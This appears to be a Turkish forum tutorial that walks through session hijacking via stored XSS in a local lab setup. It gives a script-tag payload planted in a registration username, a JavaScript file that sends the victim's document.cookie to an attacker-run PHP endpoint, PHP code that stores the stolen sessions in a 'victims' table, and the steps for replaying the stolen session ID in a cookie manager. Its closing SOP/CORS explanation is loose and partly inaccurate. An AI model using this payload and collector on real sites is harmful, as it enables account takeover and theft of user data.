Herkese selamlar,

Yeni bir gün ve yeni bir makale ile tekrardan sizlerle birlikteyim. Bu makale içerisinde SESSION Hijacking yani oturum çalma olayını anlatacağım ve anlatmaya çalışacağım. Umarım anlatmakta başarılı olurum. Biraz rahatsız olduğum için makale içerisinde geçen veritabanı bağlantısı oluşturmak/veritabanı oluşturma gibi işlemleri yapmadım 😓 Onları okurlarımız halleder diye düşünüyorum 💪

Başlayalım 🖥️ 🦸‍♂️

SESSION Hijacking Nedir?

SESSION Hijacking Türkçe tercümesi ile oturum çalma anlamına gelir. SESSION web sitesinin sunucu tarafında tutulan bir takım bilgileri kapsar. Bu bilgiler oturum sonlanınca silinir. Bazen bu SESSION bilgilerini (çok önemli ise) kendimiz elle unset ederiz. Bu kapsamda da hem SESSION taraflı yapılacak bir saldırıyı engellemek hem de verilerin güvenliğini sağlamış oluruz. Siz bir siteye girdiğinizde adınıza bir adet SESSION yani oturum oluşturulur. Bu oturumun bir ID'si bulunur. Bu ID'yi görmek için Browser(Chrome üzerinden örnek vereceğim) üzerinden erişebilirsiniz.

Bu oturum bilgisi ile birlikte cookie manager kullanarak kendi oturumumuz gibi kullanabiliriz.

XSS Açığı ile SESSION Bilgisi

Site üzerinde yazacağımız küçük bir payload ile sitemizde xss olup olmadığını tespit etmemiz gerekiyor. Bunu siteye kayıt olarak kullanabilirsiniz. Bilgiler istenirken adınızı veya soyadınızı ister <b></b> tagı içine alarak isterseniz bir sorgu ekranında <script>alert("XSS test açığı: yazilimtoplulugu")</script> şeklinde test yaparak XSS açığı olup olmadığı test edebiliriz. Kayıt olduktan sonra isminiz üye listesinde kalın olduysa veya ikinci alert testinde önünüze "XSS test açığı: yazilimtoplulugu" diye bir mesaj geldiyse sunucu tarafında girilen bu veriler JS(JavaScript) olarak işleniyor ve sonuç çıktısı client(istemci) tarafına gönderiliyor. Bu açığı biz, bize kurbanın SESSION bilgisini göndermesi için kullanacağız.

<script>alert(document.cookie)</script>

Bu şekilde bir kod ile cookie listesinde bulunan PHPSESSID bilgisini alıp kendimiz istemci tarafında sunucuya o oturumun sahibiymiş gibi işlem yapacağız. Bu işlemleri ilk olarak teorik olarak anlatalım; Kendimize bir sistem kuralım bu sistemde şöyle bir olay olsun; bir JS dosyası hazırlayalım. Bu dosya ile birlikte kayıt olurken kullanıcı adımızı JS ile dosyayı çağırır hale getirelim;

<script src="http://localhost:777/session_al.js"></script>saldirgan_hesabi_kullanici_adi

yukarıda bulunan kod ile veritabanına kullanıcı adımızı gönderdik. XSS açığı nedeniyle herhangi bir üye; üye listesine ulaşmak istediğine yahut bir SQL sorgusu çalıştığında sunucu kullanıcı adımızı çalıştıracak ve bizim script çağırma işlememiz tamamlanacak. Bu nedenle de o an o sorguyu çalıştıran kullanıcının oturum bilgisini kendi tarafımıza çekmiş olacağız. Bu süreçte session_al.js adlı dosyamızı şu şekilde kodlayarak bir PHP dosyasına POST veya GET edip o PHP dosyası bize oturum bilgisini bir yere kaydederek tutması gerekmektedir. İsterseniz veritabanı kullanın isterseniz de bir metin belgesine kaydedin.

session_al.js kodları;

var istek = new XMLHttpRequest; //JS ile php dosyamıza veriyi göndermek için **XMLHttpRequest** nesnesini kullanıyoruz.
 istek.open('GET', 'http://localhost:777/session_kaydet.php?sessionID=' + document.cookie); //istek değişkenimizi set ediyoruz. ve GET methodu ile gönderim sağlıyoruz.
 istek.send(null); //gönderim sağlıyoruz.

session_al.js dosyası bizim hazırlayacağımız PHP dosyasına SESSION yani oturum bilgisini atacak bunu halletik. Şimdi dönelim session_kaydet.php dosyamıza. Bu dosyamızı bir veritabanına bağlayıp orada session bilgisini depolayabilir veya bir text dosyası şeklinde kendi sunucunuza/cihazınıza kaydedebilirsiniz.

/*php veritabanı ıvır zıvırı halletik sonrasında malum kodlara geçtiğimizi varsayıyorum*/
/*conn değişkeni bilindik connection nesnesinin değişken adı*/

$sorgu = $conn->prepare("INSERT INTO kurbanlar(kurban_session)
VALUES (?)"); ///gerek yok ama SQL Injection olmaması için parametre kullanıyoruz.
$sorgu->bind_param("s", $kurban_session); ///"s" string tipli bir param olduğunu belirliyor.

$kurban_session = $_GET['sessionID']; //session_al.js ile gönderdiğimiz parametreyi yakalıyoruz.
$sorgu->execute(); //buradan SQL'i çalıştırıyoruz. ekleme işlemini yapıyoruz.

bu şekilde aldığımız SESSION(oturum) bilgisini veritabanında rahatlıkla görmüş olacağız. Gelen bilgiyi yukarıda bahsettiğim gibi cookie manager ile işleme koyalım. Firefox browser üzerinde daha fazla alternatifi olan bir eklenti. Firefox üzerinden testlerimizi gerçekleştirebiliriz. Şimdi şöyle bir senaryo yapalım. Bizim hazırladığımız JS kodları çalıştı veritabanına SESSION bilgisi düştü. Sonrasını anlatıyorum şimdi;

⚠️ Bilginin gelme durumu politika isteklerine göre yapılandığı için SOP - CORS gibi origin politikalarını aşağıda anlattım. CORS kullanarak XHRisteği gönderip local değilde uzak sunucularda bir anlatım daha olacaktır. Bu anlatım ise SOP - CORS için hazırlayacağım makalede olacaktır. ⚠️

Öncelikle saldırgan bu bilgiler ile kayıt yapıyor.

Kayıt gerçekleştikten sonra herhangi bir kişi(kurban) kaydını gerçekleştiriyor.

Saldırgan profiline bakıyor ve bu görüntüyü görüyor:

Kişi(kurban) ise şu şekilde bir ekran ile karşı karşıya kalıyor:

Kaydı gerçekleştirip "üyeler" sayfasına gidiyor ve XSS açıklı sitede bizim JS kodumuz çalışıyor ve SESSION bilgisi elimize ulaşıyor. Kişinin SESSION bilgisi: e560bdeda00415e7171ecba1645b3066. Şimdi bizim olayımız Firefox browserda, yani saldırganın profil ayarlarında; diğer kişinin, yani kurbanın bilgilerine erişmek olacaktır. Bunun için ise SESSION bilgisini kullanıp onun oturumunu bizim oturum gibiymiş göstereceğiz. Bunun için CookieManager uygulamasını kullanıyoruz.

Uygulamada saldırganın SESSION bilgisi mevcut. Biz Edit butonuna tıklayarak bu SESSION yani oturum ID'sini kurbanın SESSION ID'si ile değiştiriyoruz.

Bu şekilde oturum bilgimizi değiştirip "Save" butonuna tıklıyoruz ve sayfaya gelip F5 ile sayfayı yeniliyoruz. Sonuç:

İşte kurbanın bilgileri hatta oturumu artık bizim bilgisayarda mevcut. Yani gayet başarılı bir saldırı oldu FAKAT unuttuğumuz bir origin politikası mevcut. O da SOP politikası. Açılımı Same Origin Policy. SOP bir güvenlik politikasıdır. web sitesi içerisindeki veriyi yönlendirmeler ile veya farklı türlerler de transferine izin vermeyen bir politikadır ve kullanıcı güvenliğini baz alır diyip özetlemek istiyorum. Ayrıntılı ve açıklaması çok fazla. Detaylı açıklama için buradan okuyabilirsiniz.

NetSparker - Same Origin Policy

Peki ne yapabiliriz?

Cross-Origin Resource Sharing (CORS)

CORS aslında SOP gibi bir orijin türü. SOP ile CORS arasında sunucu üzerinden başka bir sunucuya HTTP başlıklı istek göndermenizi sağlar. Misal verecek olursam http://test1.com adresinde olan bir web uygulamasını JS ile ajax isteği göndererek bunu http://test2.com adresine eriştirebileceğim ve bu erişime cross origin(orijin) isteği diyoruz.

Akıllara takılan bir diğer soru o zaman CORS varken SOP ne işe yaradı?
SOP'un oluşturulmasında ki temel amaç aslında SESSION Hijacking benzeri saldırıları engellemek. Bu tip sıkıntıları engellemek adına bu şekilde önlemler alınmış ama bir tarafta da CORS var.

CORS hakkında birkaç makale:
Medium - CORS Nedir ve Ne İşe Yarar?
Medium - Understanding CORS

Origin tipleri için istek tipleri (XHR) içinde ve originlerin temelini anlatan makalelerde yakında gelecektir. Buraya kadar okuyup öğrenmeye çalıştığınız için sizlere teşekkür ederim 🤟

İyi forumlar!